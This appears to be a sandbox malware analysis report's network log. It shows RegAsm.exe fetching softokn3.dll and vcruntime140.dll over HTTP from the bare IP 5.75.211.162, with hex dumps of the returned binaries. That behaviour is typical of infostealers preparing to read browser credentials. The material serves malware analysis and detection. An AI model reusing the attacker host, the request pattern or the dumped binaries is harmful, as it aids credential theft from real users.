9d 00 00 00 d9 02 d9 5d fc d9 45 fc d9 ee dd e1 df e0 f6 c4 44 0f 8b 82 00 00 00 d9 42 04 d9 5d fc d9 45 fc dd e1 df e0 f6 c4 44 7b 6e 83 f9 02 74 5d d9 42 08 d9 5d fc d9 45 Data Ascii: E]EEE]EUD{EEPEP]YY;N;}\^_[UQV39u~7W}]ED{Q$uuF;u\|_E^UQQMuU]EDB]ED{nt]B]E
2024-09-26 17:06:10 UTC	16384	IN	Data Raw: 03 f7 0f b7 06 83 f8 61 74 05 83 f8 41 75 0f 03 f7 0f b7 06 66 3b c1 74 0e 66 3b c2 74 09 8b 45 08 33 db 8b 30 eb 43 03 f7 6a 04 5b 89 75 f8 66 83 3e 28 89 5d f4 75 32 8b de 03 df 68 07 01 00 00 0f b7 03 50 ff 15 ac 72 06 10 59 59 85 c0 75 e9 0f b7 03 83 f8 5f 74 e1 89 5d f8 8b 5d f4 83 f8 29 75 06 8b 75 f8 83 c6 02 8b 45 0c 85 c0 74 02 89 30 8b 45 08 5f 89 30 8b c3 5e 5b c9 c3 55 8b ec 83 ec 48 a1 c0 41 06 10 33 c5 89 45 fc 6b 4d 18 07 33 d2 8b 45 10 53 8b 5d 14 56 8b 75 0c 89 75 d0 89 45 b8 89 55 bc 89 55 c4 89 55 c0 89 4d cc 57 8b fa 83 f9 23 7e 06 6a 23 59 89 4d cc 6a 30 58 89 13 89 53 04 66 39 06 75 12 c7 45 c4 01 00 00 00 83 c6 02 66 39 06 74 f8 89 75 d0 0f b7 0e b8 b8 2d 00 10 89 4d c8 8b 4d cc c7 45 d4 16 00 00 00 8b 75 c8 66 39 30 8b 75 d0 74 0b Data Ascii: atAuf;tf;tE30Cj[uf>(]u2hPrYYu_t]])uuEt0E_0^[UHA3EkM3ES]VuuEUUUMW#~j#YMj0XSf9uEf9tu-MMEuf90ut
2024-09-26 17:06:10 UTC	16384	IN	Data Raw: c0 75 03 8d 41 1c c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a ff 68 09 e7 03 10 64 a1 00 00 00 00 50 a1 c0 41 06 10 33 c5 50 8d 45 f4 64 a3 00 00 00 00 e8 79 7b 00 00 50 e8 71 d8 ff ff 59 8b 40 0c 8b 4d f4 64 89 0d 00 00 00 00 59 c9 c3 cc cc 55 8b ec 83 79 38 00 8b 45 08 75 03 83 c8 04 ff 75 0c 50 e8 28 00 00 00 5d c2 08 00 cc cc cc cc 55 8b ec 6a 00 ff 75 08 e8 13 00 00 00 5d c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 8b 45 08 83 ec 1c 83 e0 17 89 41 0c 8b 49 10 56 23 c8 74 43 80 7d 0c 00 75 42 f6 c1 04 74 07 be 78 54 00 10 eb 0f be 90 54 00 10 f6 c1 02 75 05 be a8 54 00 10 8d 45 f8 6a 01 50 e8 f7 13 00 00 59 59 50 56 8d 4d e4 e8 bc e2 ff ff 68 a4 1a 04 10 8d 45 e4 50 eb 09 5e c9 c2 08 00 6a 00 6a 00 e8 f0 93 02 00 cc Data Ascii: uAUjhdPA3PEdy{PqY@MdYUy8EuuP(]Uju]UEAIV#tC}uBtxTTuTEjPYYPVMhEP^jj
2024-09-26 17:06:10 UTC	16384	IN	Data Raw: 51 56 89 45 fc 89 5f 10 e8 bd 54 02 00 8b 45 f8 83 c4 10 c6 04 1e 00 83 f8 10 72 0b 40 50 ff 37 e8 54 95 ff ff 59 59 89 37 8b c7 5f 5e 5b c9 c2 0c 00 e8 b3 be ff ff cc 55 8b ec 83 ec 0c 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d fc 3b c2 72 69 8b 43 14 8d 3c 11 57 8b cb 89 45 f4 e8 88 b1 ff ff 8b f0 8d 4e 01 51 e8 b2 94 ff ff 59 ff 75 18 89 7b 10 8d 4d 0c ff 75 14 8b 7d f4 89 45 f8 89 73 14 ff 75 10 ff 75 fc 83 ff 10 72 17 8b 33 56 50 e8 6b 03 00 00 8d 47 01 50 56 e8 d2 94 ff ff 59 59 eb 07 53 50 e8 56 03 00 00 8b 45 f8 5f 89 03 8b c3 5e 5b c9 c2 14 00 e8 25 be ff ff cc 55 8b ec 83 ec 10 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d f0 3b c2 0f 82 8f 00 00 00 8b 43 14 8d 3c 11 57 8b cb 89 45 fc e8 f6 b0 ff ff 8b f0 8d 4e 01 Data Ascii: QVE_TEr@P7TYY7_^[UUSVWK+M;riC<WENQYu{Mu}Esuur3VPkGPVYYSPVE_^[%UUSVWK+M;C<WEN
2024-09-26 17:06:10 UTC	16384	IN	Data Raw: 83 fe 01 75 04 3b d7 74 3a 8b 5d 08 6a 04 59 89 4d d4 53 33 c0 03 04 cb 52 13 7c cb 04 56 57 50 e8 f1 02 02 00 5b 8b 5d 08 8b f9 8b 4d d4 8b 75 d8 89 54 cb 04 8b 55 e8 89 04 cb 83 e9 01 89 4d d4 79 cf 5f 5e 5b c9 c3 55 8b ec 51 56 8b 75 14 33 d2 85 f6 7e 5f 53 8b 5d 08 29 5d 10 57 8b fb 89 75 fc 8b 5d 10 8b 0c 3b 03 0f 8b 44 3b 04 13 47 04 03 ca 89 0f 8d 7f 08 83 d0 00 8b d0 89 57 fc 83 67 fc 00 83 ee 01 75 dc 0b c6 8b 5d 08 74 22 8b 4d fc 3b 4d 0c 7d 1a 01 14 cb 8b 54 cb 04 13 d6 33 f6 89 54 cb 04 8b c2 21 74 cb 04 41 0b c6 75 e1 5f 5b 5e c9 c3 55 8b ec 8b 55 08 56 8b 75 0c 83 c2 f8 8d 14 f2 8b 02 0b 42 04 75 0b 8d 52 f8 4e 8b 0a 0b 4a 04 74 f5 8b c6 5e 5d c3 55 8b ec 53 56 33 db 33 f6 39 5d 0c 7e 30 57 8b 7d 08 ff 75 14 ff 75 10 ff 74 f7 04 ff 34 f7 e8 Data Ascii: u;t:]jYMS3R\|VWP[]MuTUMy_^[UQVu3~_S])]Wu];D;GWgu]t"M;M}T3T!tAu_[^UUVuBuRNJt^]USV339]~0W}uut4
2024-09-26 17:06:10 UTC	16384	IN	Data Raw: cc cc cc cc cc cc 55 8b ec 51 8b 45 0c 56 8b f1 89 75 fc 89 46 04 c7 06 7c 69 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 8b 45 0c 56 8b f1 89 75 fc 89 46 04 c7 06 e8 65 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 56 8b f1 ff 76 0c c7 06 4c 68 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 56 8b f1 ff 76 0c c7 06 8c 66 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc 56 8b f1 c7 06 50 69 00 10 e8 e2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 c7 06 90 67 00 10 e8 c2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 ff 76 08 c7 06 7c Data Ascii: UQEVuF\|ifrjFqY^UQEVuFefrjFqY^VvLhqY(R^VvfqY(R^VPiq(R^Vgq(R^Vv\|
2024-09-26 17:06:10 UTC	16384	IN	Data Raw: e8 97 73 00 00 84 c0 0f 85 d3 00 00 00 8b 5d ec 80 7f 04 00 75 07 8b cf e8 85 26 00 00 0f b7 47 06 50 ff b5 74 ff ff ff e8 9a a8 ff ff 59 59 83 f8 0a 73 3c 8a 80 2c 6a 00 10 8b 4d 8c 88 85 64 ff ff ff ff b5 64 ff ff ff e8 5f 18 ff ff 8b 4d d8 8d 45 d8 83 fb 10 72 02 8b c1 80 3c 30 7f 74 4c 8d 45 d8 83 fb 10 72 02 8b c1 fe 04 30 eb 3a 8d 45 d8 83 fb 10 72 03 8b 45 d8 80 3c 30 00 74 45 80 7f 04 00 0f b7 47 06 75 0b 8b cf e8 10 26 00 00 0f b7 47 06 66 3b 85 60 ff ff ff 75 27 6a 00 8d 4d d8 e8 04 18 ff ff 46 8b 5d ec 8b cf e8 24 11 00 00 ff 75 98 8b cf e8 de 72 00 00 84 c0 0f 84 4a ff ff ff 8b 5d 90 85 f6 74 13 83 7d ec 10 8d 45 d8 72 03 8b 45 d8 80 3c 30 00 7e 52 46 8a 45 a7 83 7d d4 10 8d 55 c0 72 03 8b 55 c0 84 c0 75 49 85 f6 74 5e 8a 0a 80 f9 7f 74 57 83 Data Ascii: s]u&GPtYYs<,jMdd_MEr<0tLEr0:ErE<0tEGu&Gf;`u'jMF]$urJ]t}ErE<0~RFE}UrUuIt^tW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	59759	5.75.211.162	443	1800	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:06:11 UTC	197	OUT	GET /softokn3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Connection: Keep-Alive Cache-Control: no-cache
2024-09-26 17:06:11 UTC	262	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 26 Sep 2024 17:06:11 GMT Content-Type: application/octet-stream Content-Length: 257872 Connection: close Last-Modified: Thursday, 26-Sep-2024 17:06:11 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-26 17:06:11 UTC	16122	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSw
2024-09-26 17:06:11 UTC	16384	IN	Data Raw: 08 c7 85 f0 fe ff ff 00 00 00 00 8d 85 ec fe ff ff 89 85 f4 fe ff ff c7 85 f8 fe ff ff 04 00 00 00 8d 85 f0 fe ff ff 6a 01 50 53 57 e8 85 af 00 00 83 c4 10 89 c6 85 c0 75 3f 8b 85 ec fe ff ff 83 c0 fd 83 f8 01 77 25 be 30 00 00 00 83 3d 28 9a 03 10 00 75 23 83 3d 50 90 03 10 00 74 0e be 01 01 00 00 f6 05 20 9a 03 10 01 74 0c 53 57 e8 e2 b9 00 00 83 c4 08 89 c6 83 3d 2c 9a 03 10 00 0f 84 5e ff ff ff 8b 85 ec fe ff ff 83 c0 fe 83 f8 02 0f 87 4c ff ff ff 56 53 57 68 85 6b 03 10 68 00 01 00 00 8d 85 f0 fe ff ff 50 ff 15 1c 7c 03 10 83 c4 18 e9 2a ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 14 90 03 10 31 e8 89 45 f0 c7 85 ec fe ff ff 00 00 00 00 be 30 00 00 00 83 3d 28 9a 03 10 00 74 17 8b 4d f0 31 e9 e8 28 8b 02 00 89 Data Ascii: jPSWu?w%0=(u#=Pt tSW=,^LVSWhkhP\|*USWV1E0=(tM1(
2024-09-26 17:06:11 UTC	16384	IN	Data Raw: 40 04 03 45 dc 56 8d 4d ec 51 50 57 e8 55 9e ff ff 83 c4 10 85 c0 0f 85 6b 03 00 00 57 e8 c4 9d ff ff 83 c4 04 ff 75 e8 53 57 e8 f7 9d ff ff 83 c4 0c ff 75 e8 8d 45 e8 50 53 57 e8 26 9e ff ff 83 c4 10 85 c0 0f 85 3c 03 00 00 8b 4d c8 83 c1 01 8b 75 e4 8b 45 dc 01 f0 3b 4d c0 0f 85 6c ff ff ff 31 f6 e9 20 03 00 00 31 f6 ff 35 30 9a 03 10 ff 15 f0 7b 03 10 83 c4 04 a1 34 9a 03 10 85 c0 74 15 6a 01 50 e8 57 4e 02 00 83 c4 08 c7 05 34 9a 03 10 00 00 00 00 a1 38 9a 03 10 85 c0 74 15 6a 01 50 e8 39 4e 02 00 83 c4 08 c7 05 38 9a 03 10 00 00 00 00 a1 3c 9a 03 10 85 c0 74 15 6a 01 50 e8 1b 4e 02 00 83 c4 08 c7 05 3c 9a 03 10 00 00 00 00 56 e8 e8 4d 02 00 83 c4 04 a3 34 9a 03 10 8b 47 38 a3 40 9a 03 10 8b 47 28 a3 44 9a 03 10 8b 47 2c a3 48 9a 03 10 8d 47 04 50 e8 Data Ascii: @EVMQPWUkWuSWuEPSW&<MuE;Ml1 150{4tjPWN48tjP9N8<tjPN<VM4G8@G(DG,HGP
2024-09-26 17:06:11 UTC	16384	IN	Data Raw: 02 10 88 41 02 0f b6 41 03 d1 e8 8a 80 68 f9 02 10 88 41 03 0f b6 41 04 d1 e8 8a 80 68 f9 02 10 88 41 04 0f b6 41 05 d1 e8 8a 80 68 f9 02 10 88 41 05 0f b6 41 06 d1 e8 8a 80 68 f9 02 10 88 41 06 0f b6 41 07 d1 e8 8a 80 68 f9 02 10 88 41 07 ba 01 01 01 01 8b 31 31 d6 33 51 04 b8 01 00 00 00 09 f2 0f 84 37 01 00 00 ba 1f 1f 1f 1f 33 11 be 0e 0e 0e 0e 33 71 04 09 d6 0f 84 20 01 00 00 ba e0 e0 e0 e0 33 11 be f1 f1 f1 f1 33 71 04 09 d6 0f 84 09 01 00 00 ba fe fe fe fe 8b 31 31 d6 33 51 04 09 f2 0f 84 f5 00 00 00 ba 01 fe 01 fe 8b 31 31 d6 33 51 04 09 f2 0f 84 e1 00 00 00 ba fe 01 fe 01 8b 31 31 d6 33 51 04 09 f2 0f 84 cd 00 00 00 ba 1f e0 1f e0 33 11 be 0e f1 0e f1 33 71 04 09 d6 0f 84 b6 00 00 00 ba e0 1f e0 1f 33 11 be f1 0e f1 0e 33 71 04 09 d6 0f 84 9f 00 Data Ascii: AAhAAhAAhAAhAAhA113Q733q 33q113Q113Q113Q33q33q
2024-09-26 17:06:11 UTC	16384	IN	Data Raw: c0 0f 84 30 07 00 00 83 7b 08 14 0f 84 43 01 00 00 e9 21 07 00 00 3d 50 06 00 00 0f 8f aa 01 00 00 3d 51 05 00 00 74 2d 3d 52 05 00 00 74 12 3d 55 05 00 00 0f 85 0a 07 00 00 c7 47 0c 01 00 00 00 83 7b 04 00 0f 84 ec 06 00 00 83 7b 08 10 0f 85 e2 06 00 00 c7 47 18 10 00 00 00 83 7c 24 24 25 0f 85 fb 07 00 00 6a 11 ff 74 24 30 e8 44 c7 00 00 83 c4 08 85 c0 0f 84 78 09 00 00 89 c7 31 c0 81 3b 51 05 00 00 0f 95 c0 ff 77 1c 8b 4d 20 51 50 ff 73 04 ff 77 18 e8 09 1e ff ff 83 c4 14 8b 4c 24 28 89 41 64 57 e8 a9 c6 00 00 83 c4 04 8b 44 24 28 83 78 64 00 0f 84 bf 08 00 00 83 7d 20 00 b9 60 2a 00 10 ba 20 2a 00 10 0f 44 d1 89 50 74 c7 80 84 00 00 00 e0 29 00 10 e9 eb 08 00 00 3d 09 21 00 00 0f 8e 1c 02 00 00 3d 0a 21 00 00 0f 84 08 02 00 00 3d 0b 21 00 00 0f 84 23 Data Ascii: 0{C!=P=Qt-=Rt=UG{{G\|$$%jt$0Dx1;QwM QPswL$(AdWD$(xd} `* *DPt)=!=!=!#
2024-09-26 17:06:11 UTC	16384	IN	Data Raw: 5f 5b 5d c3 cc cc 55 89 e5 53 57 56 83 ec 10 a1 14 90 03 10 31 e8 89 45 f0 ff 75 08 e8 35 ab 00 00 83 c4 04 85 c0 74 5f 89 c6 8b 78 38 bb 91 00 00 00 85 ff 74 56 83 3f 03 75 51 8b 4d 18 8b 47 04 83 7d 14 00 74 59 8b 5d 0c 85 c0 74 64 89 ce 8b 4d 08 89 da 6a 03 ff 75 10 e8 47 fa ff ff 83 c4 08 89 c3 85 c0 75 24 56 ff 75 14 ff 75 08 e8 72 fd ff ff 83 c4 0c 89 c6 8b 4d f0 31 e9 e8 a3 8b 01 00 89 f0 eb 11 bb b3 00 00 00 8b 4d f0 31 e9 e8 90 8b 01 00 89 d8 83 c4 10 5e 5f 5b 5d c3 85 c0 74 06 83 7f 68 00 74 5a 81 c7 90 00 00 00 eb 55 8b 01 89 45 e8 8b 47 64 89 45 e4 8b 4f 74 ff 15 00 a0 03 10 8d 45 ec ff 75 10 53 ff 75 e8 50 ff 75 14 ff 75 e4 ff d1 83 c4 18 85 c0 74 32 e8 a1 8d 01 00 50 e8 eb 84 00 00 83 c4 04 8b 55 ec 8b 4d 18 89 11 bb 50 01 00 00 3d 50 01 00 Data Ascii: _[]USWV1Eu5t_x8tV?uQMG}tY]tdMjuGu$VuurM1M1^_[]thtZUEGdEOtEuSuPuut2PUMP=P
2024-09-26 17:06:12 UTC	16384	IN	Data Raw: 77 8b 75 20 85 f6 7e 7a 8b 7d 1c 83 c7 08 c7 45 d8 00 00 00 00 c7 45 d4 04 00 00 00 eb 18 0f 1f 84 00 00 00 00 00 8b 47 fc 8b 00 89 45 d8 83 c7 0c 83 c6 ff 74 5a 8b 47 f8 85 c0 74 19 3d 61 01 00 00 74 e2 8b 4f fc eb 15 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 8b 4f fc 8b 11 89 55 d4 ff 37 51 50 ff 75 dc e8 8c 53 00 00 83 c4 10 85 c0 74 bd 89 c3 e9 80 01 00 00 bf 02 00 00 00 e9 83 01 00 00 c7 45 d4 04 00 00 00 c7 45 d8 00 00 00 00 8b 45 10 8b 4d 0c 83 ec 1c 0f 28 05 40 fb 02 10 0f 11 44 24 0c 89 44 24 08 89 4c 24 04 8b 45 08 89 04 24 e8 fe 7c ff ff 83 c4 1c 85 c0 74 0c 89 c3 ff 75 dc e8 7d 5a 00 00 eb 3d 8b 7d 18 8b 5d 14 57 e8 8b 4d 01 00 83 c4 04 89 c6 89 7d ec 8d 45 ec 50 56 57 53 ff 75 08 e8 e8 9a ff ff 83 c4 14 85 c0 74 26 89 c3 ff 75 dc e8 47 5a 00 00 Data Ascii: wu ~z}EEGEtZGt=atOf.OU7QPuStEEEM(@D$D$L$E$\|tu}Z=}]WM}EPVWSut&uGZ
2024-09-26 17:06:12 UTC	16384	IN	Data Raw: 37 ff 75 08 e8 4d 2b 00 00 83 c4 04 85 c0 74 51 8b 48 38 b8 91 00 00 00 85 c9 74 4a 83 39 02 75 45 83 79 04 00 74 3f 8b 55 0c 8b 59 6c 83 c3 08 89 1f 31 c0 85 d2 74 2e b8 50 01 00 00 39 de 72 25 8b 01 89 02 8b 41 70 89 42 04 83 c2 08 ff 71 6c ff 71 64 52 e8 cc 0f 01 00 83 c4 0c 31 c0 eb 05 b8 b3 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 7d 10 a1 14 90 03 10 31 e8 89 45 f0 85 ff 0f 84 2d 01 00 00 8b 5d 0c 8b 33 ff 75 08 e8 b5 2a 00 00 83 c4 04 b9 b3 00 00 00 85 c0 0f 84 12 01 00 00 83 fe 0a 0f 87 f7 00 00 00 b9 78 06 00 00 0f a3 f1 73 12 8d 48 38 eb 1a 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 b9 83 01 00 00 0f a3 f1 73 e4 8d 48 34 8b 09 83 fe 0a 77 2f ba 78 06 00 00 0f a3 f2 73 12 83 c0 38 eb 1a 66 2e 0f 1f 84 00 Data Ascii: 7uM+tQH8tJ9uEyt?UYl1t.P9r%ApBqlqdR1^_[]USWV}1E-]3u*xsH8f.sH4w/xs8f.
2024-09-26 17:06:12 UTC	16384	IN	Data Raw: 40 00 00 5d c3 b8 00 00 08 00 5d c3 cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 ff 75 08 e8 c2 d8 ff ff 83 c4 04 85 c0 0f 84 9c 03 00 00 89 c6 c7 40 24 00 00 00 00 bf 02 00 00 00 83 78 0c 00 0f 88 54 03 00 00 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 8b 46 34 8b 5e 40 8d 4b 01 89 4e 40 50 ff 15 10 7c 03 10 83 c4 04 83 fb 2c 0f 8f 29 03 00 00 6b c3 54 8d 0c 06 83 c1 64 89 4c 06 5c c7 44 06 64 57 43 53 ce c7 44 06 60 04 00 00 00 c7 44 06 58 00 00 00 00 c7 44 06 54 00 00 00 00 0f 57 c0 0f 11 44 06 44 83 7e 0c 00 0f 88 ea 02 00 00 8d 1c 06 83 c3 44 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 69 4b 10 c5 90 c6 6a 8b 86 0c 0f 00 00 83 c0 ff 21 c8 8b 8c 86 10 0f 00 00 89 0b c7 43 04 00 00 00 00 8b 8c 86 10 0f 00 00 85 c9 74 03 89 59 04 89 9c 86 10 0f 00 00 ff 76 34 ff 15 Data Ascii: @]]USWVu@$xTv4{F4^@KN@P\|,)kTdL\DdWCSD`DXDTWDD~Dv4{iKj!CtYv4
2024-09-26 17:06:12 UTC	16384	IN	Data Raw: e4 89 c7 eb 02 31 ff 8b 4d f0 31 e9 e8 15 8c 00 00 89 f8 81 c4 3c 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 89 d6 89 cf 8b 5d 08 8b 4b 24 ff 15 00 a0 03 10 ff 75 14 ff 75 10 ff 75 0c 53 ff d1 83 c4 10 85 c0 75 1e 31 c0 39 5e 34 0f 94 c0 89 f9 89 f2 ff 75 14 ff 75 10 ff 75 0c 50 e8 1c 2b 00 00 83 c4 10 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 45 08 8b 0d 14 90 03 10 31 e9 89 4d f0 c7 45 ec 00 00 00 00 85 c0 74 63 8b 75 10 8b 58 34 85 db 74 5d 85 f6 74 5f 8b 4d 0c 8d 45 e8 8d 7d ec 89 f2 50 57 e8 8e 00 00 00 83 c4 08 85 c0 74 60 89 c7 8b 45 ec 89 45 e4 8b 4b 14 ff 15 00 a0 03 10 ff 75 14 56 57 53 8b 5d e4 ff d1 83 c4 10 89 c6 85 db 74 40 57 e8 96 8d 00 00 83 c4 04 ff 75 e8 53 e8 b4 8d 00 00 83 c4 08 eb 29 31 f6 eb 25 Data Ascii: 1M1<^_[]USWV]K$uuuSu19^4uuuP+^_[]USWVE1MEtcuX4t]t_ME}PWt`EEKuVWS]t@WuS)1%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	59760	5.75.211.162	443	1800	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:06:12 UTC	201	OUT	GET /vcruntime140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Connection: Keep-Alive Cache-Control: no-cache
2024-09-26 17:06:13 UTC	261	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 26 Sep 2024 17:06:13 GMT Content-Type: application/octet-stream Content-Length: 80880 Connection: close Last-Modified: Thursday, 26-Sep-2024 17:06:13 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-26 17:06:13 UTC	16123	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"
2024-09-26 17:06:13 UTC	16384	IN	Data Raw: 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 03 0f b6 42 03 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 6f 05 00 00 8b 46 04 3b 42 04 74 4f 0f b6 f8 0f b6 42 04 2b f8 75 18 0f b6 7e 05 0f b6 42 05 2b f8 75 0c 0f b6 7e 06 0f b6 42 06 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 07 0f b6 42 07 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 0e 05 00 00 8b 46 08 3b 42 08 74 4f 0f b6 f8 0f b6 42 08 2b f8 75 18 0f b6 7e 09 0f b6 42 09 2b f8 75 0c 0f b6 7e 0a 0f b6 42 0a 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 0b 0f b6 42 0b 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 ad 04 00 00 8b 46 0c Data Ascii: +t3MNB+t3E3oF;BtOB+u~B+u~B+t3MNB+t3E3F;BtOB+u~B+u~B+t3MNB+t3E3F
2024-09-26 17:06:13 UTC	16384	IN	Data Raw: 75 08 8b 45 94 a3 a4 f2 00 10 8d 45 cc 50 e8 39 08 00 00 59 6a 28 8d 4d 80 8b f0 e8 67 f3 ff ff 56 8d 4d f0 51 8b c8 e8 0a f7 ff ff 6a 29 8d 85 70 ff ff ff 50 8d 4d f0 e8 1b f7 ff ff 50 8d 4d f8 e8 78 f7 ff ff 81 7d dc 00 08 00 00 75 1a 8b c3 25 00 07 00 00 3d 00 02 00 00 74 0c 8d 45 98 50 8d 4d f8 e8 55 f7 ff ff a1 98 f2 00 10 c1 e8 13 f7 d0 a8 01 8d 45 cc 50 74 11 e8 92 2e 00 00 59 50 8d 4d f8 e8 34 f7 ff ff eb 0f e8 81 2e 00 00 59 50 8d 4d f8 e8 9f f8 ff ff 8d 45 cc 50 e8 69 23 00 00 59 50 8d 4d f8 e8 10 f7 ff ff a1 98 f2 00 10 c1 e8 08 f7 d0 a8 01 8d 45 cc 50 74 11 e8 30 3e 00 00 59 50 8d 4d f8 e8 ef f6 ff ff eb 0f e8 1f 3e 00 00 59 50 8d 4d f8 e8 5a f8 ff ff 8d 45 cc 50 e8 6a 19 00 00 59 50 8d 4d f8 e8 47 f8 ff ff a1 98 f2 00 10 c1 e8 02 f7 d0 a8 01 Data Ascii: uEEP9Yj(MgVMQj)pPMPMx}u%=tEPMUEPt.YPM4.YPMEPi#YPMEPt0>YPM>YPMZEPjYPMG
2024-09-26 17:06:13 UTC	16384	IN	Data Raw: d0 81 c9 00 08 00 00 83 e2 18 74 1c 83 fa 08 74 0f 83 fa 10 74 15 b8 ff ff 00 00 e9 f7 01 00 00 81 c9 80 00 00 00 eb 03 83 c9 40 83 e0 06 2b c7 0f 84 df 01 00 00 2b c6 74 1e 2b c6 74 0f 2b c6 75 d4 81 c9 00 04 00 00 e9 c8 01 00 00 81 c9 00 01 00 00 e9 bd 01 00 00 81 c9 00 02 00 00 e9 b2 01 00 00 2b c6 75 af 8d 51 01 89 15 90 f2 00 10 8a 02 3c 30 7c 2a 3c 39 7f 26 0f be c0 83 c2 d1 03 c2 a3 90 f2 00 10 e8 8c fe ff ff 0d 00 00 01 00 e9 81 01 00 00 b8 fe ff 00 00 e9 77 01 00 00 b9 ff ff 00 00 e9 dc 00 00 00 83 f8 2f 0f 8e 63 ff ff ff 8b f2 83 f8 35 7e 62 83 f8 41 0f 85 53 ff ff ff 81 c9 00 90 00 00 e9 b8 00 00 00 b9 fe ff 00 00 4a e9 ad 00 00 00 81 c9 00 98 00 00 e9 a2 00 00 00 83 e8 43 0f 84 94 00 00 00 83 e8 01 0f 84 83 00 00 00 83 e8 01 74 76 83 e8 0d 0f Data Ascii: 